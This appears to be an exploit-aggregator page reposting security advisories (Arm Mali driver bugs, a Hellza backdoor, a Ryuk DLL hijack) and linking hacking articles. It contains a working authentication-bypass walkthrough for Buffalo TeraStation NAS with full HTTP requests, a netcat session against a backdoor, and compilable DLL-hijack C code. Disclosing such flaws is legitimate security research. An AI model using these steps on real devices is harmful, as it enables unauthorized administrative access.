Exploit Collector
Arm Mali CSF Missing Buffer Size Check

https://2.bp.blogspot.com/-x_QP5QrO-tY/WWlvkxoh72I/AAAAAAAAIQ4/t-2dHNJyeE0-qZNxsCg7sgdho_ipgPgbgCLcBGAs/s1600/h98.png
In the Linux Mali driver, when building with MALI_USE_CSF, the VFS read handler of the main Mali file descriptor (kbase_read()) never looks at its "count" parameter. This means that a simple userspace program that sets up a Mali file descriptor, then calls read(mali_fd, buf, 1), will see read() returning a higher length than requested, and out-of-bounds data in the userspace buffer will be clobbered.

SHA-256 | 3d801b6f86d2cf6dcafab0fab084495a709669823b168ea8d4eaa15c04e2a64c

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Source:packetstormsecurity.com

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Exploit Collector
Backdoor.Win32.Hellza.120 MVID-2022-0641 Remote Command Execution

https://1.bp.blogspot.com/-5_4vnaEHtE4/WWlvOudg9oI/AAAAAAAAIMs/tPLG-GePmxgLMlPyiIuDfO-2MFfOtdhKQCLcBGAs/s1600/h26.png
Backdoor.Win32.Hellza.120 malware suffers from a remote command execution vulnerability.

SHA-256 | cdc70328ddf40e49dc5b1f2be3419c1dac2bfb6b0721efd3f3603444e744fbd5

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Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/2cbd0fcf4d5fd5fb6c8014390efb0b21.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hellza.120
Vulnerability: Unauthorized Remote Command Execution
Description: The malware listens on TCP ports 12122, 21. Third-party adversarys who can reach infected systems can issue commands made available by the backdoor.
Family: Hellza
Type: PE32
MD5: 2cbd0fcf4d5fd5fb6c8014390efb0b21
Vuln ID: MVID-2022-0641
Dropped files: msdllsrv.exe
Disclosure: 09/19/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 12122
xrR_Server version:1.20 Beta R1.1

F (starts FTP if not running in case where the server was restarted)

L (logger)
L15_ *0.00 KB*

D (drives)
D 1C:\2D:\

E (run file)
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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Exploit Collector
Buffalo TeraStation Network Attached Storage (NAS) 1.66 Authentication Bypass

https://2.bp.blogspot.com/-trS7d3JOSJY/WWlvYoSx4fI/AAAAAAAAIOo/ua-jTrS9avcHrliD3JJHs9ifWyf14eAUwCLcBGAs/s1600/h57.png
Buffalo TeraStation Network Attached Storage (NAS) version 1.66 suffers from an authentication bypass vulnerability.

SHA-256 | b25f9ea485651ddd5fbfd1f367341b3088a792a33c6f34e467614dc44f8f1aee

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# Exploit Title: Buffalo TeraStation Network Attached Storage (NAS) 1.66 - Authentication Bypass
# Date: 2022-08-11
# Exploit Author: JORDAN GLOVER
# Type: WEBAPPS
# Platform: HARDWARE
# Vendor Homepage: https://www.buffalotech.com/
# Model: TeraStation Series
# Firmware Version: 1.66
# Tested on: Windows 10
An authentication bypass vulnerability found within the web interface of a Buffalo TeraStation Series Network Attached Storage (NAS) device, allows an unauthenticated malicious actor to gain administrative privileges.

The web interface can be accessed via port 80 or 443 via a web browser. Once accessed you will be presented with a login page, that requires a username and password to gain authentication to the NAS.

Using a proxy tool to intercept the request and responses, it was possible re-intercept the response and modify the JSON data, contained within the body.

If you modify the "success" to 'true' and change "Pagemode" to '0', this will grant you authentication with administrator privileges, to the NAS.
POC #1 Authentication Failure

Request
POST /dynamic.pl HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://localhost
Connection: close
Referer: http://localhost/static/index.html

bufaction=verifyLogin&user=Jordan&password=Jordan
Response
HTTP/1.1 200 OK
Content-type: text/html
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Date: Mon, 30 Jun 2008 02:39:51 GMT
Server: lighttpd/1.4.32
Content-Length: 94

{"success":false,"errors":[],"data":[{"sid":"zz69c1c4d83023374d0b786d7a5y69b0","pageMode":2}]}

Incorrect Username or Password
POC #2 Authentication Success

Request
POST /dynamic.pl HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://localhost
Connection: close
Referer: http://localhost/static/index.html

bufaction=verifyLogin&user=Jordan&password=Jordan
Intercepted Response
HTTP/1.1 200 OK
Content-type: text/html
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Date: Mon, 30 Jun 2008 02:39:51 GMT
Server: lighttpd/1.4.32
Content-Length: 94

{"success":true,"errors":[],"data":[{"sid":"ag69c5f4x43093374d0c786k7a9y59h0","pageMode":0}]}

Login Successful

Source:packetstormsecurity.com

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Exploit Collector
Arm Mali Released Buffer Use-After-Free

https://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png
On Mali devices without the new CSF interface, IMPORTED_USER_BUF is released without flushing host-side VMAs, leading to a page use-after-free vulnerability.

SHA-256 | 51a2923bc823fc6d20b96117084be18b4a15d5a3f49b9f2dc2e04e3c069198a0

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Source:packetstormsecurity.com

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Exploit Collector
Trojan.Ransom.Ryuk.A MVID-2022-0640 Code Execution

https://4.bp.blogspot.com/-qWHV3SrNBkU/WWlu99WsXjI/AAAAAAAAIJ4/a1ff3k5st1g65kjfNuwTJpgcbLEB4bHEACLcBGAs/s1600/h116.png
Trojan.Ransom.Ryuk.A ransomware looks for and executes DLLs in its current directory. Therefore, we can potentially hijack a DLL, execute our own code, and control and terminate the malware pre-encryption. Once loaded the exploit dll will check if the current directory is "C:\Windows\System32" and if not, we grab our process ID and terminate. All basic tests were conducted successfully in a virtual machine environment.

SHA-256 | cf8ca0f9491742132b26f99723587a07bd7827506a1fb18e871a77bfbc3b9a62

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Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/5ac0f050f93f86e69026faea1fbb4450.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan.Ransom.Ryuk.A
Vulnerability: Arbitrary Code Execution
Description: The ransomware looks for and executes DLLs in its current directory. Therefore, we can potentially hijack a vuln DLL execute our own code, control and terminate the malware pre-encryption. Once loaded the exploit dll will check if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. All basic tests were conducted successfully in a virtual machine environment.
Family: Ryuk
Type: PE32
MD5: 5ac0f050f93f86e69026faea1fbb4450
Vuln ID: MVID-2022-0640
Disclosure: 09/19/2022

Exploit/PoC:
1) Compile the following C code as "urlmon.dll"
2) Place the DLL in same directory as the ransomware
3) Optional - Hide it: attrib +s +h "urlmon.dll"
4) Run the malware

#include "windows.h"

//By malvuln
//Purpose: Exploit Ryuk
/** DISCLAIMER:
Author is NOT responsible for any damages whatsoever by using this software or improper malware
handling. By using this code you assume and accept all risk implied or otherwise.
**/

//gcc -c urlmon.c -m32
//gcc -shared -o urlmon.dll urlmon.o -m32

BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){
switch (reason) {
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "Ryuk\nPWNED By MALVULN", "Code Exec PoC", MB_OK);
TCHAR buf[MAX_PATH];
GetCurrentDirectory(MAX_PATH, TEXT(buf));
int rc = strcmp("C:\\Windows\\System32", TEXT(buf));
if(rc != 0){
HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid());
if (NULL != handle) {
TerminateProcess(handle, 0);
CloseHandle(handle);
}
}
break;
}
return TRUE;
}
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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Exploit Collector
Arm Mali Race Condition

https://3.bp.blogspot.com/-Q0zmt52Iz_s/WWlvCi1SqRI/AAAAAAAAIKo/56GGQ_7zLBsvaLtYw9wmjI_Jb6z2oza2QCLcBGAs/s1600/h129.png
The Mali driver frees GPU page tables before removing the higher-level PTEs pointing to those page tables (and, therefore, also before issuing the required flushes). This means a racing memory write instruction on the GPU can write to an attacker-controlled physical address.

SHA-256 | b9314770c55b858e1768dc0c89581aba6dcd511b77abe5a7a6849771f7835386

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Source:packetstormsecurity.com

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Hacking on Medium
Hacking the CoinDCX Twitter a Hacker Promotes Fake XRP Ads

https://cdn-images-1.medium.com/max/620/1*Eqe6ly-iqa11E4dXPa23vg.png
A hacker has hacked the official Twitter account of India-based crypto exchange CoinDCX and is posting fake Ripple (XRP) promos partnered…

Continue reading on Medium »

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Hacking on Medium
JSON Deserialitzation Attack

https://cdn-images-1.medium.com/max/944/1*mED6d-57IFyWBSDhBecrZg.png
Introduction

Continue reading on Medium »

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Project Degis Testnet Task and Tutorial
https://medium.com/@GenzBIT/project-degis-testnet-task-and-tutorial-4424afdb6a84?source=rss------bug_bounty-5

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During the testnet, participants will act as underwriters or buyers to experience the whole workflow. Testnet will also simulate all…Continue reading on Medium » (https://medium.com/@GenzBIT/project-degis-testnet-task-and-tutorial-4424afdb6a84?source=rss------bug_bounty-5)

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Privilege Escalation Leads to making authenticated actions (payment processing, creating invoices..
https://x-vector.medium.com/privilege-escalation-leads-to-making-authenticated-actions-payment-processing-creating-invoices-2cf808d517ed?source=rss------bug_bounty-5

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IntroductionContinue reading on Medium » (https://x-vector.medium.com/privilege-escalation-leads-to-making-authenticated-actions-payment-processing-creating-invoices-2cf808d517ed?source=rss------bug_bounty-5)

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Privilege Escalation Leads to making authenticated actions (payment processing, creating invoices..

IntroductionContinue reading on Medium »
Read more...

Project Degis Testnet Task and Tutorial

During the testnet, participants will act as underwriters or buyers to experience the whole workflow. Testnet will also simulate all…Continue reading on Medium »
Read more...

Leverage Autorun programs - Win PrivEsc
https://www.reddit.com/r/redteamsec/comments/xjdt69/leverage_autorun_programs_win_privesc/

submitted by /u/Clement_Tino (https://www.reddit.com/user/Clement_Tino)
[link] (https://medium.com/@tinopreter/windows-privilege-escalation-4-autorun-programs-edb4a73b88a7) [comments] (https://www.reddit.com/r/redteamsec/comments/xjdt69/leverage_autorun_programs_win_privesc/)

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